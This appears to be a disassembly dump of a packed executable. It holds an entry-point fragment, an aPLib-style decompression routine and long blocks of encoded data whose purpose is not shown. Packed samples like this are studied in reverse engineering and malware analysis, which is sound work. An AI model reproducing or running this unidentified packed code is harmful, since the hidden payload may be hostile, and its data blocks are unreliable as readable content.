		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ΙδŠxΌ^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_58248B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
dword_51526C	dd 1523590h, 2E98F2EAh,	0C8AFAE10h, 0FA43B836h,	112E92F2h
		dd 3321AFBBh, 0FFFA10EEh, 646501F2h, 356BFE7Dh,	7F02D302h
		dd 0A404F062h, 68CF7807h, 122CAFFh, 572C4F69h, 983301F9h
		dd 10AFDAEh, 0B87188FFh, 2422BF46h, 0FFEB0EE1h,	73655201h
		dd 0CC726174h, 2EE27041h, 0C2F978F4h, 1145761Fh, 21F91FC2h
		dd 78D70817h, 65076854h, 6164696Dh, 27FD5F08h, 0F8D78C45h
		dd 0D4E4C58Bh, 0AE86028h, 0ED815D00h, 7E4359Fh,	49951889h
		dd 11B50D06h, 20850F44h, 83081271h, 380E65BDh, 8B0C7407h
		dd 0B8E222E8h, 0C27B8164h, 244470C7h, 40513E1Ch, 45186A15h
		dd 6829A3E8h, 83743E9Ah, 0ADF507Ah, 894B1E25h, 0AD5910Ah
		dd 0EC0214E9h, 8B55D057h, 0C483EC0Ah, 5AC0EED8h, 408DEA81h
		dd 0DA098B36h, 1BD845C7h, 400E1808h, 7D810889h,	1DC680FCh
		dd 7F200F74h, 0F7832408h, 12FF9810h, 0E163EB43h, 7461DC36h
		dd 0C2C91426h, 81064604h, 2FF7CC4h, 0D644498Eh,	8045018Dh
		dd 0C7085D8Bh, 4A194485h, 0A8D50h, 1888C3D1h, 0BA88941h
		dd 6A2BD81h, 0E3755D02h, 8D282794h, 75EC64BAh, 0E8A8004h
		dd 5B90F4BBh, 0F37ABB8h, 0D0D37854h, 4B080FCCh,	5F7753Bh
		dd 4647C3AFh, 46624A24h, 0D142A2F9h, 78ABA61h, 0D85FF0D0h
		dd 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh, 0F740C53Eh, 348436BAh
		dd 0C197DE6h, 0F83E7FEBh, 12C86D0Ch, 0F40E4CF0h, 0C14A10A8h
		dd 4F06514h, 0D1F803D6h, 96C203E0h, 0DB330128h,	80301C8Ah
		dd 0A72CCFBh, 77390AC3h, 0EFEBD305h, 7F142226h,	0A0D6761h
		dd 1E08F666h, 0AC3F4F5h, 1AC310EAh, 0D0B7241h, 677460Ah
		dd 121EA24h, 0EC87F05Dh, 317D83F4h, 0B3B07202h,	7676C00Ch
		dd 26AA64A5h, 76E01CF8h, 3BA8A08Dh, 0FFC0A55h, 9CBD7882h
		dd 38AA1BB0h, 8BA0EE5h,	700AB90Eh, 1CBD84FCh, 0FFE0038h
		dd 1C754947h, 5D22B9FAh, 1BBC06Ah, 82F11251h, 2DDEB76h
		dd 0F868E80h, 0FE08E53Ah, 0FD36E065h, 268A7317h, 91E94FBCh
		dd 0DE6B591Fh, 13045853h, 0C4725B21h, 25558A03h, 30458205h
		dd 43211508h, 7400C453h, 0D3BC6757h, 22105C6Bh,	0FA600281h
		dd 67C32C02h, 64F41982h, 80F17A1Ch, 0E0B810DCh,	0E134CB8Ch
		dd 4E392281h, 830F765Bh, 43D511Ch, 0B33BE3D1h, 75520E46h
		dd 11AC2E09h, 0EC05480Eh, 69065E4h, 0C5846300h,	54968E05h
		dd 8F538022h, 29C2040Ah, 0E8718C8Ch, 0A60EDBE7h, 2B0CFFB3h
		dd 22047781h, 0C134011Dh, 7533F984h, 3FBC9020h,	680A7677h
		dd 0E8330EFh, 8C26EC41h, 0FF7ECC7Fh, 453F4043h,	4060E9A9h
		dd 8C52C462h, 11254D02h, 13B1AA82h, 845AAB34h, 98561322h
		dd 2A825EE6h, 0A0812DEEh, 8139EB07h, 44B9F58Ah,	97230A13h
		dd 0CE95043h, 200A11CFh, 0F79ACC74h, 7FCB00A3h,	0F081446Dh
		dd 0B8005CE9h, 0DA8D67FFh, 1F0CBC53h, 471029Eh,	8205E281h
		dd 5930512Bh, 468AE4C4h, 1B2245h, 81C45141h, 93C3DEEEh
		dd 0EAAB650Ch, 81F0Dh, 4C0776A2h, 44BC505Eh, 7AB24E01h
		dd 8610CA0Bh, 612912D7h, 315420EAh, 3800842Eh, 16FC7B19h
		dd 3BAA2F04h, 0F000D03Ah, 1F82DB86h, 0C7248BF7h, 23076662h
		dd 16D2C839h, 699B8A21h, 8C52CC4Ch, 11C45A39h, 1D884D8Ah
		dd 0C4524280h, 884BEh, 0AF7DB50Eh, 14EA3CA4h, 0C0E323CEh
		dd 0EDAEF27Fh, 89C7072Bh, 0B7A66Dh, 18454A27h, 67DFB000h
		dd 0C010E08Ch, 816CAAD9h, 167DCC3Ch, 3F581EA1h,	87A444C5h
		dd 36CADA91h, 5446C21Ah, 88C45C1Ch, 1AC45D8Ah, 0C4544440h
		dd 27036A0Dh, 0EADD6784h, 0F01D000Fh, 6B81B0FAh, 0D201600Ah
		dd 0AEC69A49h, 9C865879h, 7E1376DCh, 30224220h,	3B3D07E9h
		dd 0D0EE3224h, 0C2DE9960h, 608D1060h, 96B12103h, 0BC30C882h
		dd 0BFF91076h, 78F61213h, 0C9B1063Ch, 0D3000DD8h, 65239DBh
		dd 9861208Ch, 8B238041h, 826200C6h, 0E6124DC4h,	8FA4EA20h
		dd 0FBD6943Fh, 0A9DEE413h, 9965000h, 788C4EA4h,	40EC1CD4h
		dd 672B40E8h, 54720FB9h, 6BFBA3Ah, 890645Fh, 69BE0018h
		dd 0B503F084h, 89E3507Fh, 44FD4CEh, 0EA460E47h,	6F120B1Ch
		dd 6402EC32h, 8F4442A1h, 624AE794h, 7B909D35h, 1F149A0Fh
		dd 0F7A795h, 0D667F5EEh, 5F0E4860h, 0C05D85FEh,	1DBD1FC6h
		dd 0A9FA71h, 0A12D910Ah, 538FDF5Fh, 616008CFh, 0C9C1BD3Ah
		dd 0F579DD4h, 614EC2B3h, 0BDD9BC0h, 641846AEh, 4831BFE7h
		dd 97860390h, 2869E5AAh, 0FDE09BC0h, 0D1115818h, 9956A81h
		dd 24DA4CC2h, 0E6217C00h, 52004527h, 4FC0F10Bh,	0A68194h
		dd 205912B8h, 4234E6C6h, 87E9B638h, 80579CE5h, 906CFBE0h
		dd 0D2BE1DF0h, 65564C02h, 0ED00DF60h, 66C80C49h, 0FCF1855h
		dd 69D21AAEh, 0BC62C2C0h, 600C4842h, 0B95CEBEFh, 0C184603Fh
		dd 0CE7CBC23h, 70515706h, 0C3198CDDh, 0FC3A5DD0h, 0D1CE9D6h
		dd 178A2A22h, 2507F916h, 0A7EEE319h, 4FE4F4h, 0B8C06879h
		dd 955F0031h, 0AC8B2E2Ch, 0C8031081h, 6A180540h, 87391B8Ah
		dd 7AC041ADh, 0AB0CA00Eh, 30825F8Eh, 413C186Eh,	4AAF3601h
		dd 2CEC5800h, 17C96B62h, 22E118F5h, 42054138h, 7948BCF1h
		dd 28A2C107h, 99803685h, 30B2Dh, 41ACCF14h, 4AA16362h
		dd 0C86A40C7h, 196D7381h, 3FA10BEh, 97051EB6h, 7018FEAEh
		dd 54595542h, 0D8630788h, 40A416B4h, 0DDD6D1BEh, 0A70D7300h
		dd 0E54550Bh, 5200B0C9h, 5308C1Bh, 20FF39E1h, 5296B700h
		dd 0A953124Fh, 55060062h, 406BDA29h, 6A7A7BAFh,	8AACFE38h
		dd 84B15F86h, 0E40B3B00h, 0DDC772h, 643DF88h, 4CE67A12h
		dd 217090A0h, 5E0074B8h, 5AD9AA8Ah, 39E7E3D5h, 0AC37096Fh
		dd 8B263118h, 1B50837Bh, 1AA887h, 706DF299h, 8D73A9FDh
		dd 0A5844050h, 0EEEAA014h, 24940180h, 0E2DC8C84h, 0C1213080h
		dd 0C87365CEh, 0E89E0503h, 0C820CB24h, 618CAC03h, 30C45916h
		dd 6BC47009h, 0E217211Bh, 0E797F988h, 873BA850h, 310460A1h
		dd 7B11EE79h, 8C28B763h, 54190017h, 0F1AF0952h,	0D8A03DF7h
		dd 4146196Bh, 2F0F4000h, 5EAA91FEh, 38B4AB24h, 169F0583h
		dd 7CC80311h, 61941BC2h, 68A06B8Ah, 0F28A4B9Ch,	0F40CEC00h
		dd 57F50B86h, 7B5E0C04h, 87684391h, 0E248AA50h,	2D31731Bh
		dd 5C04A018h, 4E3D33D3h, 80104010h, 50128A8Bh, 0DE744390h
		dd 0FAD0054Ah, 660030C9h, 0AA5B20C5h, 5CDC7A50h, 0D862732Dh
		dd 0E5301BB1h, 1249215h, 95443CA6h, 0C4F3C043h,	0C43C3EC8h
		dd 126280FAh, 7A3DBF40h, 28C31D4Dh, 15AC80D0h, 0A6A0AD1Fh
		dd 4F80E854h, 1E918660h, 3A815B8h, 39E26B57h, 0F03F7413h
		dd 4497C4D5h, 8B06ED1Ah, 4DA90A5h, 0BF140248h, 63184DACh
		dd 0A50DE444h, 690316B8h, 0ED39F61h, 0E2BF65B9h, 6E1C811Dh
		dd 34961642h, 0F8091914h, 10DEBB11h, 81B12350h,	5C44F23Ah
		dd 202EA23Eh, 59E3079Bh, 0E6BE5015h, 25006119h,	0E41D735Eh
		dd 15D7E1F6h, 0A08BC78Dh, 0A90F0A00h, 37097048h, 0A150FD60h
		dd 8CCE59h, 54B4103Bh, 3222A4DEh, 1CEDFF00h, 36CB7AABh
		dd 0A26C00B3h, 5930CD6Dh, 0C77EBBF5h, 57062707h, 5E475063h
		dd 546AEA70h, 0CDC4073Ch, 81F0645Bh, 0F012DA30h, 0AF7EE4A4h
		dd 0B31F670Fh, 0F52181EBh, 94E4D4D3h, 0E05100EFh, 5A620B97h
		dd 0F009022h, 3A36275Ch, 87CE49h, 8C2495C7h, 8E979666h
		dd 67782892h, 4239E81Fh, 70801855h, 4C6E6300h, 0C54A45B5h
		dd 28E90007h, 0C97F5CFDh
		dd 0FB498EAAh, 96E0248h, 8F5F0B53h, 0A61B84B8h,	28C09806h
		dd 8B3F720h, 137B09E6h,	0DF17000h, 0AC403DAh, 0E39AF96Fh
		dd 9BDC00A4h, 65FF5D47h, 9F3DC013h, 35ADAC04h, 71C1E223h
		dd 849D001Fh, 0F9F00D1Bh, 4C40FC2Eh, 0A61F61C0h, 6E006A2Dh
		dd 8374DBC2h, 96220C81h, 0EA9085EBh, 0F8AA0773h, 70B87C27h
		dd 2DFEAD41h, 74616300h, 9ED4F8B7h, 9DC82CACh, 0BDBF0144h
		dd 20516E0Ah, 77410730h, 998B31FCh, 94DD0E54h, 6D7FB920h
		dd 0B5054154h, 5F701EFh, 0D5228000h, 194CAC1Eh,	40918B86h
		dd 0DBC3070h, 23618AB8h, 66187C99h, 3C488822h, 26067610h
		dd 0C71CC487h, 7D7C1220h, 40B010C2h, 0B8687700h, 0AEC7201Ch
		dd 0EA796C06h, 3E592212h, 0E203D3D2h, 756E1862h, 849C6149h
		dd 0A897EC42h, 0E13EE550h, 28630048h, 0FADE0DD1h, 6403345Bh
		dd 0E3E94955h, 79593CC3h, 0A2879205h, 0E6C44080h, 0BAB05DC2h
		dd 2B882E7h, 862BFD64h,	22413DE0h, 8880A3DEh, 938083EFh
		dd 9B141AD0h, 0F40289B8h, 0A08018D6h, 872FEF79h, 392CAC07h
		dd 409064D7h, 5855A23Dh, 4173EC02h, 0F8EC57EFh,	21E8A14Eh
		dd 48821B9Bh, 923B8E4Ch, 2418E0A5h, 0B214CCBCh,	0A1E09101h
		dd 11E5CA29h, 8A302180h, 15A320FBh, 0A001CF7Fh,	0DB7D7379h
		dd 68EC4BE0h, 116B1CFDh, 6843D8BDh, 80400326h, 0A6E7F73Ah
		dd 0C3B0061h, 0AFC83456h, 962C6F93h, 0E380340Bh, 6E7902E4h
		dd 0DF73019h, 0E842A4B0h, 0A351EB04h, 88C09EC7h, 60FB0170h
		dd 0CAD52011h, 0D30B5018h, 8587C87Ah, 0A041EDF6h, 0EA723B09h
		dd 32682C4h, 93641B01h,	28431AD3h, 30F600F8h, 2F925C51h
		dd 0F9FB0048h, 0F3A70BD4h, 0D201DA14h, 18419C6Fh, 1C228265h
		dd 8811AB10h, 94248055h, 0DAA641D0h, 0A1FA401h,	7F9EB91Dh
		dd 788A7F70h, 943D5CE6h, 5E20613h, 4029E5B4h, 80F18DB0h
		dd 2B0014AEh, 9403C6DEh, 599F116Fh, 9511F8DBh, 0EFE840E4h
		dd 0A81340h, 801DED26h,	0AF113710h, 3B6C3A16h, 0D0393803h
		dd 19701603h, 0BFAC411Ah, 0C83DC721h, 0F1597BE3h, 0ABA30494h
		dd 30A1FB26h, 79AAC003h, 63961A79h, 48131987h, 92F023DCh
		dd 0BD48690Bh, 180AD1BEh, 42987A71h, 0ED110996h, 808C0310h
		dd 11597700h, 0D4F2C0FEh, 9F5C0CA8h, 30492BE5h,	5E1EDCF8h
		dd 0AB841385h, 0B4943D8Ch, 10059CD8h, 3EB3E97h,	0A8A504ABh
		dd 510BE36h, 8AD5E82Bh,	651C045Dh, 8C404581h, 0BD364C00h
		dd 2FF3F8h, 19E9A298h, 6DAD32FBh, 0F7F9F601h, 2E2DDB61h
		dd 533E424h, 1640365Bh,	6884205Eh, 0E83D51B7h, 9A0F12B9h
		dd 7A14BB01h, 6B3056E4h, 2000B86Dh, 0CC8010FAh,	6802B09h
		dd 0F0DCB868h, 989A17h,	0E42A4404h, 0CDEADB3Eh,	0EE429B18h
		dd 3660769h, 6F5894F8h,	4593FE9Fh, 0AE378EE8h, 9EDDDF00h
		dd 3975EDECh, 708A50C6h, 2CF3004Fh, 0B4FDAA86h,	348A00Fh
		dd 0C1FE1EF3h, 98DCDE43h, 0A839DF87h, 9411B030h, 10AE4C7Ch
		dd 0D89EAA8Fh, 8C4BB829h, 35190A60h, 3D2C1h, 0CEBF7D70h
		dd 88DE5BC8h, 5D16C00h,	5DA45957h, 56462898h, 6D182980h
		dd 0A8AD04E0h, 9DDC4662h, 3A112188h, 402C9211h,	605308B0h
		dd 90DFEA09h, 30580460h, 6E298D4Fh, 8C030B8Bh, 926DAA47h
		dd 0FB84D8F1h, 0DAEA0FB6h, 0E1C9515Bh, 0DDF60820h, 0FC0BEFF9h
		dd 0A10E0B6Fh, 22290C4h, 0E4651006h, 48C0C368h,	587E8050h
		dd 11113004h, 28160C21h, 18482092h, 1802FF43h, 2D696D5h
		dd 8E50BC46h, 8F0D0CA1h, 94C0657Ah, 8B609A00h, 9746751h
		dd 73390182h, 0DD7B62AEh, 81B44423h, 25CB2F0h, 3384442h
		dd 0F59D0432h, 6613CBADh, 45920C7h, 2CE7E30h, 0E325EE3Ch
		dd 0AAEC0438h, 212040A4h, 105092A5h, 7D1C3163h,	5419A639h
		dd 0C25EA88h, 306C0949h, 60E815E0h, 0BE3C591Fh,	0D32CBC59h
		dd 2100485Dh, 0E005E25Ch, 38FE07B6h, 0ECDB2666h, 9256C38h
		dd 8B540F58h, 70F40749h, 0C23021F8h, 934132D3h,	0C8305AD4h
		dd 150B807Ch, 0E4E564CBh, 2FDDB200h, 7350B6B5h,	37F4B869h
		dd 4428D420h, 5AB8B0E5h, 955D4203h, 0C066D2C9h,	2AD8D3E8h
		dd 20D4F6E1h, 5C26A8EDh, 0E812369Ah, 7C08A856h,	0A36E0F78h
		dd 500D0895h, 0AD8240Ch, 700924B4h, 6DC06240h, 0B9786221h
		dd 0C16394CAh, 0C68C7901h, 24216555h, 874B1A4h,	0A3825D64h
		dd 0AA8B9404h, 3609A418h, 6618021Eh, 0E913E05Bh, 71076009h
		dd 76F9AA0Dh, 0E9A2403h, 0D82834ACh, 6190B5Dh, 8666B33Ah
		dd 0C809414Eh, 200E8BA3h, 0D52EC128h, 68152C8Fh, 0BF45009Ch
		dd 0E2C31FFCh, 9830D728h, 42E3DC44h, 501508B6h,	8C48852Dh
		dd 0B8567Eh, 0B5415C08h, 1E8646Dh, 0A42E3718h, 17AD4AFEh
		dd 211BA210h, 914B23F4h, 0AB092FC8h, 1A89A507h,	64BEC103h
		dd 105E6037h, 90408965h, 58D71E06h, 0E21458CEh,	0A0850C58h
		dd 0A6286822h, 281EDCAAh, 0E8591019h, 29F29658h, 4EF8C80h
		dd 653A9399h, 5D784C1Bh, 54630164h, 554B134Ah, 404405Ah
		dd 0C8A18723h, 0D00C0CCh, 1A10A9D8h, 30D02D08h,	0E5915E7Dh
		dd 4490E7F3h, 4851BB4Eh, 2A18B83Ch, 0F6A4C269h,	542C4F62h
		dd 30225844h, 0A134BC52h, 800B21C5h, 0DE0AA3Ah,	357017D9h
		dd 0AC10151Ch, 425BEB0Bh, 0A517C882h, 4232FA61h, 0BCB6E948h
		dd 0E9C36C46h, 610B45DEh, 0A2BC1926h, 277E661Ch, 0CD398DA1h
		dd 2824299Bh, 0F04254A8h, 0BEFAF10h, 4B9F1A0h, 944014A4h
		dd 5DDF5E27h, 75AB3101h, 8C429EE4h, 18313CC5h, 22327051h
		dd 18CCE8C5h, 818F6E7Fh, 6E1B5223h, 2099DDE2h, 0D8BC49BAh
		dd 0A0A1E2B4h, 709C240Dh, 0C8D208DDh, 0A581A481h, 2CE57064h
		dd 88E250h, 9EC65222h, 47009C3Eh, 6D80A234h, 2F5F44h, 0E1BB0F56h
		dd 0CAD71995h, 4BD8CE07h, 0F4D0F7D0h, 1C85893Ch, 0CFC6E9C7h
		dd 29C0E226h, 879F9994h, 5D7D6E00h, 76D4BDCEh, 0D32600BAh
		dd 0D73EF4BCh, 40C7A8FBh, 0EEF4878Bh, 38E24C00h, 8807AA18h
		dd 2B5A8D9Fh, 9EC1C990h, 197791h, 3EE8D007h, 0F556B2C0h
		dd 877A3A00h, 0BAC63CE0h, 35D70242h, 9188A018h,	44880C5h
		dd 0F8A8DE7Fh, 0D03B37CBh, 0D8AAA43Bh, 29699400h, 0B9C9EAh
		dd 2833D519h, 40E7FDD6h, 0A800D77Ah, 928E3E03h,	30FC32D1h
		dd 2C4026D3h, 0D27D4BA2h, 0E2378707h, 2320CB9Eh, 2DB05FEh
		dd 20BC0BCh, 92603857h,	0D0189382h, 0D640C626h,	0A32B203Dh
		dd 32878800h, 9EBDB85Bh, 24223D9Dh, 0DDCCF80h, 4174B9DBh
		dd 9300E97Dh, 0CEFCF3E1h, 3DC8F0h, 6F4B9D17h, 5B315492h
		dd 2438BA4Ch, 745D94E2h, 0A142C900h, 99A3FD31h,	787719Ch
		dd 0BCB8E27Ch, 616809Eh, 0E83CC007h, 72F70040h,	8C89E00Ah
		dd 0FF430715h, 0E3D926C8h, 0D1D06F31h, 29006E44h, 0F78C960h
		dd 1B282Ah, 0E803B4C4h,	46CA7B8h, 8918F47Eh, 24403119h
		dd 323320D7h, 5D446B00h, 78B6E27Eh, 1A960019h, 31C8D522h
		dd 0B30F9E4Dh, 0C0EFFFA8h, 0FA3CD47Ch, 0D74A000Ah, 9B6F1747h
		dd 5C0E936Dh, 76B6EC7Eh, 0EA8C6Ah, 3DC6034Fh, 2931E2h
		dd 9466999Dh, 0FAED336Bh, 489E7E1Dh, 0E1032090h, 56B49D2Fh
		dd 8747F780h, 0C63DD40Eh, 40007FCCh, 0D184ABE6h, 83570079h
		dd 0E1B4BAE5h, 277BDB98h, 4931B91Dh, 466CA80h, 0FE852661h
		dd 0AF90029h, 2738D03Ah, 0D60097AEh, 542E8778h,	19EBA0Fh
		dd 0D4052D42h, 0CC4B31CAh, 0FF006BF7h, 0D08B88F3h, 0AC8EEh
		dd 153BDA2Dh
		dd 90D2856Fh, 1E85A39h,	28A3BEB8h, 0AC6019DBh, 0C6D88EAh
		dd 89753E13h, 0B72504D2h, 0DE60FF04h, 59AC9Eh, 54A6D508h
		dd 67B8C8F2h, 0F318F114h, 0A400AB34h, 7650C58h,	7900F153h
		dd 0B8F259B3h, 214080FBh, 0E540E775h, 0F8E2FC2Fh, 774300A4h
		dd 3B76868Eh, 7A2F9085h, 2240810Eh, 7CDE870Bh, 0ED7B8040h
		dd 60E1F510h, 6513F073h, 28E03F21h, 356EE25h, 225DD250h
		dd 71002318h, 0E8D88EA8h, 763A108Dh, 1CD256D3h,	0BCB45820h
		dd 0E1016C40h, 8A441CF1h, 381DC166h, 2FFF8E42h,	21E80802h
		dd 507C4Bh, 60D059AAh, 0E56742DFh, 62600341h, 0C5C6FCFh
		dd 4C681541h, 21C05E08h, 99623AA5h, 0FC700F8h, 45DBD3E9h
		dd 0A3186877h, 57A09401h, 7F1888DFh, 6AD1D661h,	208453AAh
		dd 225F0D47h, 44A410E6h, 3F28C01h, 4F96402h, 0AF0B9840h
		dd 5C80954Eh, 20E8E3E6h, 449F0580h, 0C2008992h,	2BA0BB6Ah
		dd 9743D53Dh, 0EB8B7420h, 0E000C0Ah, 76E827BFh,	0C8AEF53h
		dd 74EF96Dh, 9614A888h,	904725h, 897EDC71h, 3AB4F15h, 0D53620EFh
		dd 0A3F7405Ch, 59125F5Dh, 8417C50h, 0AEAC3AE1h,	8772568Fh
		dd 97DB3B23h, 0C3E605F0h, 40E70400h, 5E530BF5h,	0D4FD0063h
		dd 3C1BE1F6h, 900C141Dh, 59524295h, 51AD0088h, 0FA9C75A0h
		dd 0A006DC1h, 789ABC4Dh, 124170h, 0C489AB2Fh, 39B3C716h
		dd 0BA0AF915h, 654000E8h, 0D40227CCh, 2089951Dh, 0A9494C70h
		dd 49DB0C4Ch, 4501816h,	0E0E9C4D5h, 27A4AD2Dh, 0EAD8A061h
		dd 2748AAADh, 0C4C03820h, 18252366h, 40FCCC6Dh,	0D300E859h
		dd 0E2C3887Ch, 3C002E4h, 51DA8771h, 0F15FBC63h,	8766884Eh
		dd 11DC4AC4h, 55DA0080h, 0B6D8051Dh, 0DF66DDFEh, 217B08h
		dd 2D55D123h, 0EA9560E9h, 68309B1Dh, 3CA40612h,	0EB777CBEh
		dd 86AA6440h, 0E8B2509Fh, 54F0DD5h, 0F3D9F042h,	67069BB0h
		dd 9600F6F8h, 0D302BB55h, 48510B12h, 0D2238887h, 0CC623B01h
		dd 6118446Fh, 53A688h, 1A0DAD62h, 7A83DD3Fh, 180B8C26h
		dd 29C95D87h, 0E287D8B0h, 0CAC400D4h, 0C3679454h, 0DB02D552h
		dd 0C6906355h, 4F4C5E01h, 8C4E9894h, 830933B0h,	2A2C9E5h
		dd 80B91FA0h, 641824F8h, 46ACA668h, 55D801C6h, 0B508051Bh
		dd 4988790Ch, 2E5514D0h, 6710986Fh, 16C50178h, 0D8659003h
		dd 986022FBh, 223160A1h, 1CD12610h, 2018EF5Eh, 7E62750h
		dd 69DCA101h, 87059389h, 2CC7EF6h, 350163E2h, 56887C5Ch
		dd 4F9065F0h, 12090BF0h, 45C00493h, 370025C8h, 8C036DACh
		dd 0E91ED5A4h, 0EE58402Eh, 0A28325C1h, 94C25E28h, 0DC01CA46h
		dd 0E8051F55h, 1D000BB6h, 21255D3h, 0A6002804h,	6FFDB860h
		dd 9D165F21h, 2080180Ah, 60B8DBF5h, 55DD60B4h, 0E005241Ah
		dd 0D4207070h, 408C5500h, 5D4DD92Eh, 4F7925F2h,	3B0158E8h
		dd 33DE0C00h, 7FD4BBDCh, 492C00BAh, 32E06ECBh, 9A00D7C2h
		dd 7BDA3F25h, 9DB6F90Eh, 2EA25081h, 9C133F7Fh, 0AAA0B8B0h
		dd 39D482E0h, 8088548Dh, 0C7A31BB9h, 0AC12C663h, 0ECE09A21h
		dd 0D621CE13h, 0FE48A3A0h, 4604D961h, 540B1893h, 6050088Ch
		dd 5B28B185h, 0E91DC86Fh, 4C0730F2h, 82892B05h,	15C26E4h
		dd 0CCE33B63h, 0C673681Bh, 5E971202h, 6ABB96ACh, 0D53084C4h
		dd 0EC623861h, 448C4C6Fh, 5000A355h, 0D2F40162h, 0C95A5E14h
		dd 0A4D24B19h, 63208A00h, 13A3D762h, 214C3BCBh,	84075A4h
		dd 0D30006DEh, 41666024h, 0A741C0EBh, 9EBD9CADh, 0E38D6F00h
		dd 59B515A4h, 6C90B593h, 0FC00ABCCh, 31D8A34h, 0D0562Ch
		dd 0CD6DE31h, 0FEAECA21h, 5C461CBh, 18AC463Ch, 582C0D38h
		dd 11AC2449h, 16400A86h, 0C340AC9Bh, 39A043Dh, 0A764ACFEh
		dd 8EA8A6D1h, 0C9F93D3h, 0D4BB34F0h, 10E88C50h,	28EEE8Ch
